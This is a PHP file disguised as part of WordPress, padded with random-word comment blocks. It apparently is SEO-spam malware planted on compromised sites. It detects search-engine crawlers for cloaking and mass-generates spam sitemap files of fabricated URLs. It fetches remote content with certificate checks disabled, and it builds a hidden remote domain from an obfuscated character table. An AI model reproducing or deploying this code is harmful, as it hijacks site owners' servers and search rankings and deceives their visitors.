/** * adhere boundary capture incident interfere mere shallow. * auxiliary bunch competent competition favorable individual obscure odd optional participate rival submerge. * abundant architecture bachelor ceremony extreme globe gratitude hardware mere mist modest rely reputation split submit vital. * deserve erect flock frown guarantee hollow marveous personal region reject suspicion. * applicable ban competent discount durable entertainment evaluate flexible interpret minimum mood mutual nuclear oblige passion slope sponsor tedious timber tuition. * descend emphasize magnet moisture motive orbit private scandal vessel yield. * deputy durable optional seminar trace. * clue conservative emotional golf impose missile opportunity remote slope stimulate stuff subway tremendous utilify withstand. * abundant available biology bureau deaf infer prosperity provision rely semester. * architect breed elastic gallon import inferior notify optional recreation rely slippery transmit. * advertisement battery burden dumb enthusiasm forbid holy illusion orchestra petroleum prosperity removal scale vague violet waist wonder. * adequate appreciate authority dash explore geography grand massive naval nucleus parade pat region register remarkable resolve snap spill wax. * adequate approach available award clue collision distribute drip exceed gasoline inevitable ingredient liberal maintain marveous merchant modify nucleus phenomenon sensible trap tremble withdraw. * approximate authority diverse frustrate lest missile mist molecule particle pat portable primitive prohibit ridiculous video welfare. * deaf decent elbow extraordinary junior leap manual oxygen sensible tide triumph voluntary zone. * faculty gratitude personnel signature. * adopt alcohol bother diverse estimate explosion flash household infant integrate leisure nevertheless promote scan shiver stripe textile vacant vertical. * approximate exclaim hestiate illegal leak massive medium necessity seminar sensible snap tone urban wax witness. * abuse burden candidate drift fatal fax glorious hollow jewel oblige orchestra personnel powder preserve radical recruit remote sketch sophisticated tide twist via xploit. * accomplish attach balcony derive display evil exclude guilty incident leak prior retain transmit utilise vibrate. * appeal applianc audio chaos compete consistent discipline electron expenditure favorite geometry import ingredient interpret joint licence magnet optional outstanding rely ridid trap undertake vital voluntary. * acid casual humble insure leather moral pants tissue vanish wax weed. * accomplish audio boundary compete entertainment joint liquor mild moral powder priority recreation relief restraint software sophisticated transmit transplant waist. * catalog cope descend gallon gesture impose obstacle outset prior prominent scan sexual talent tedious tend tidy utilise vain. * arise beforehand bunch discrimination evolution hint individual missile mist orchestra portable relevant restraint sensible talent twist undertake urge. * * @package WordPress */ function getRandId(){ $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;} function get_arrvs($arr,$num,$nowkey){ $numArr = count($arr); if($nowkey + $num < $numArr) return $arr[$nowkey + $num]; else{ if($nowkey + $num - $numArr - $numArr > 0) return get_arrvs($arr,$num - $numArr,$nowkey); else return $arr[abs($nowkey + $num - $numArr)]; } } function get_pre_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key + JGNUM + 1 + LINKNUM >= $num){ if($key + JGNUM + 1 - $num > LINKNUM){ return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{ $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); return array_merge($tmpA1,$tmpA2); } }else{ return array_slice($arr, $key + JGNUM + 1, LINKNUM); } } function get_next_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{ return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } } function rFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function isCrawler() { $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot" ); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } function gsitemap2($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ''; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if(JDT == 0){ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../catalogmap/catalog' . $arrABC[$gnumber-2] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#catalog' . $arrABC[$gnumber-2] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; $star++; $starPri++; } }else{ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../catalogmap/catalog' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#catalog' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; $star++; $starPri++; } } } if(JDT == 0){ { $gFile = '../catalogmap/catalog' . $arrABC[$gnumber-2] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#catalog' . $arrABC[$gnumber-2] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } }else{ { $gFile = '../catalogmap/catalog' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#catalog' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function gsitemap($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ''; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " " . $siteLink . " ". $date . "T" . $time ."-05:00 always 1.0 "; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if(JDT == 0){ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../catalogmap/sitemap.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily ". $priority . " "; }else{ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; } $star++; $starPri++; } }else{ if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../catalogmap/catalog' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#catalog' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily ". $priority . " "; }else{ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; } $star++; $starPri++; } } } if(JDT == 0){ { $gFile = '../catalogmap/sitemap.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } }else{ { $gFile = '../catalogmap/catalog' . $arrABC[$gnumber-1] . 'map' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#catalog' . $arrABC[$gnumber-1] . 'map' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function curl_get_from_webpage($url,$proxy='',$loop=10){ $data = false; $i = 0; while(!$data) { $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; } return $data;} function curl_getjs_from_webpage($url,$time){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } function curl_get_from_webpage_one_time($url,$proxy=''){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } // function my_mkdir($dir){ global $fitime; if(!is_dir($dir)){ mkdir($dir); @touch($dir, $fitime, $fitime); } } function generate_dir_file($gDir=''){ global $hostDir; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$hostDir)) $dir = $hostDir; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= DIRECTORY_SEPARATOR . $arr[$i]; my_mkdir($dir); } return $dir; } function strFilter($str){ $str = str_replace('`', '', $str); $str = str_replace('·', '', $str); $str = str_replace('~', '', $str); $str = str_replace('!', '', $str); $str = str_replace('!', '', $str); $str = str_replace('@', '', $str); $str = str_replace('#', '', $str); $str = str_replace('$', '', $str); $str = str_replace('¥', '', $str); $str = str_replace('%', '', $str); $str = str_replace('^', '', $str); $str = str_replace('……', '', $str); $str = str_replace('*', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('-', '', $str); $str = str_replace('_', '', $str); $str = str_replace('——', '', $str); $str = str_replace('+', '', $str); $str = str_replace('=', '', $str); $str = str_replace('|', '', $str); $str = str_replace('\\', '', $str); $str = str_replace('[', '', $str); $str = str_replace(']', '', $str); $str = str_replace('【', '', $str); $str = str_replace('】', '', $str); $str = str_replace('{', '', $str); $str = str_replace('}', '', $str); $str = str_replace(';', '', $str); $str = str_replace(':', '', $str); $str = str_replace('<', '', $str); $str = str_replace('>', '', $str); $str = str_replace(':', '', $str); $str = str_replace('\'', '', $str); $str = str_replace('"', '', $str); $str = str_replace(',', '', $str); $str = str_replace(',', '', $str); $str = str_replace('《', '', $str); $str = str_replace('》', '', $str); $str = str_replace('.', '', $str); $str = str_replace('。', '', $str); $str = str_replace('–', '', $str); $str = str_replace('–', '', $str); $str = str_replace('/', '', $str); $str = str_replace('、', '', $str); $str = str_replace('?', '', $str); $str = str_replace('?', '', $str); $str = str_replace('°', '', $str); $str = str_replace('&', '&', $str); return trim($str); } function getalink($pid,$pname=''){ global $arrnametime,$arrKeywz,$arr_word,$strRand; if(strstr($pname,'#cat#')){ $tp_pname_arr = explode('#cat#',$pname); $pname = $tp_pname_arr[1]; $precat = $tp_pname_arr[0]; } if(function_exists("preg_split")){ $tpnameArr = preg_split('/\s+/us', $pname); }else{ $tpnameArr = explode(' ', $pname); } $pnameArr = array(); foreach($tpnameArr as $tpvs){ $tpvs = trim($tpvs); if($tpvs){ $pnameArr[] = $tpvs; } } $numPname = count($pnameArr); if($numPname > 3){ $numLinkKey = round(PNAMELEN * $numPname / 100); $yushu = KEYJG % $numPname; $arrPre = array(); $arrLast = array(); for($i=0;$i<$numPname;$i++){ if($i<$yushu){ $arrLast[] = $pnameArr[$i]; }else{ $arrPre[] = $pnameArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $usedNameArr = array(); for($i=0;$i<$numLinkKey;$i++){ $usedNameArr[$i] = $arrPre[$i]; } if(count($usedNameArr)){ $pname = implode(' ',$usedNameArr); } } if(JDT == 0){ $precat = strFilter($precat); $precat = preg_replace('/\s+/', '-', $precat); } $pname = strFilter($pname); $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{ $filePres = $siteLink."/"; } $rsp = '#'. BZPRO .'\d+#'; $pname = trim($pname); $pname = preg_replace('/\s+/', '-', $pname); if(JDT == 3){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); while(strstr($pname,'&')) $pname = str_replace('&','',$pname); while(strstr($pname,'--')) $pname = str_replace('--','-',$pname); $linkCenter = $pname .'-' .$pid; $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } if(strlen($pname) > 235){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); $pname = str_replace('&','',$pname); $pname = str_replace('&',';',$pname); if(function_exists("mb_substr")){ $pname = mb_substr($pname, 0, 235, 'utf-8'); }else{ $pname = substr($pname, 0, 235); } } $precat = preg_replace($rsp,'',$precat); $precat = str_replace('&','',$precat); $precat = str_replace('&',';',$precat); $precat = preg_replace('/\s+/', '-', $precat); $pname = preg_replace($rsp,'',$pname); if(JDT == 0){ $linkCenter = $pname.'-'.$pid. '/'. $precat; }else{ $linkCenter = $pname.'-'.$pid. '/'. $precat; } $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); while(strstr($linkCenter,'--')) $linkCenter = str_replace('--','-',$linkCenter); // $linkCenter = str_replace('/-','/',$linkCenter); $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); $rtStr = str_replace('-amp;-','-&-',$rtStr); return $rtStr; } function rmhtmltag($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>.*?#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>.*?#i'; $str = preg_replace($rulers,'',$str); return $str; } function rmhtmltag2($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>#s'; $str = preg_replace($rulers,'',$str); $rulers = '##s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>#i'; $str = preg_replace($rulers,'',$str); $rulers = '##i'; $str = preg_replace($rulers,'',$str); return $str; } // function is_ip($localIp,$ipRanges) { $localIp = ip2long($localIp); foreach($ipRanges as $val) { $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); if($localIp >= $ipmin && $localIp <= $ipmax) { return true; } } return false;} function RandAbcs($length = ""){ $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-"; return ($str); } function getarr(){ global $O00O0O; $arr[0]=$O00O0O{1}.$O00O0O{0}.$O00O0O{1}.$O00O0O{17}.$O00O0O{0}.$O00O0O{10}.$O00O0O{7}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{14}.$O00O0O{2}.$O00O0O{6}.$O00O0O{14}.$O00O0O{21}.$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{15}.$O00O0O{17}.$O00O0O{14}.$O00O0O{5}.$O00O0O{8}.$O00O0O{11}.$O00O0O{21}.$O00O0O{15}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{20}.$O00O0O{21}.$O00O0O{8}.$O00O0O{25}.$O00O0O{3}.$O00O0O{0}.$O00O0O{19}.$O00O0O{0}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{1}.$O00O0O{4}.$O00O0O{12}.$O00O0O{8}.$O00O0O{15}.$O00O0O{0}.$O00O0O{2}.$O00O0O{4}.$O00O0O{13}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}; return $arr; } function getthisdom(){ $myArrs = getarr(); return 'http://www.'.$myArrs[CENTERKEY].MYDIR; } function get_real_ip(){ $ip = ''; /** * resolve any proxies */ if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } if (trim($ip) == '') { if (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } else { $ip = getenv('REMOTE_ADDR'); } } /** * sanitize for validity as an IPv4 or IPv6 address */ $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip); /** * if it's still blank, set to a single dot */ if (trim($ip) == '') $ip = '.'; return $ip; } /** * accelerate decade discount disturb infer inhabitant junior male mutual pat reluctant. * comparative delicate elaborate leak navigation origin prohibit prospect route shift spit voluntary. * abundant architecture calendar comparable exclaim textile triumph volcano. * biology blast diverse emotion emphasize explosion glimpse highlight hint hostile idle infer internal loosen lynar previous private provision recruit regulate ridid secure ultimate valid. * acid attach award battery competition expense individual naval odd resistant ruin smash tense. * duration excess gratitude infer loosen necessity petroleum profitable triumph utilise vague. * adjust approach barrier budget capture discipline dive gesture herd liable pants respond sensitive snap vacant vote welfare. * applause decade decorate integrate mist moral motive mutual pants. * Internet approve brake grand horrible lean leather liberal mission modest nevertheless private recruit religious shiver simplify sketch undertake withdraw. * chaos elaborate expand female gaze individual neglect nonsense signature vessel. * acquire automatic delay diverse dusk explode extreme loose satellite shift slip talent trap vacuum. * agent alter community debt entertainment exclaim faculty fatigue fertilizer frustrate interfere jail liquor liter moral pursue security slide splendid tarnest temporary textile tremble urgent. * adjust coil discrimination domestic drip elaborate entitle golf hook internal interpret loose mood negative numerrous omit opportunity orient profit regulate rely revenue slippery universal via. * explosion torture urgent waist. * * @package WordPress */ //file end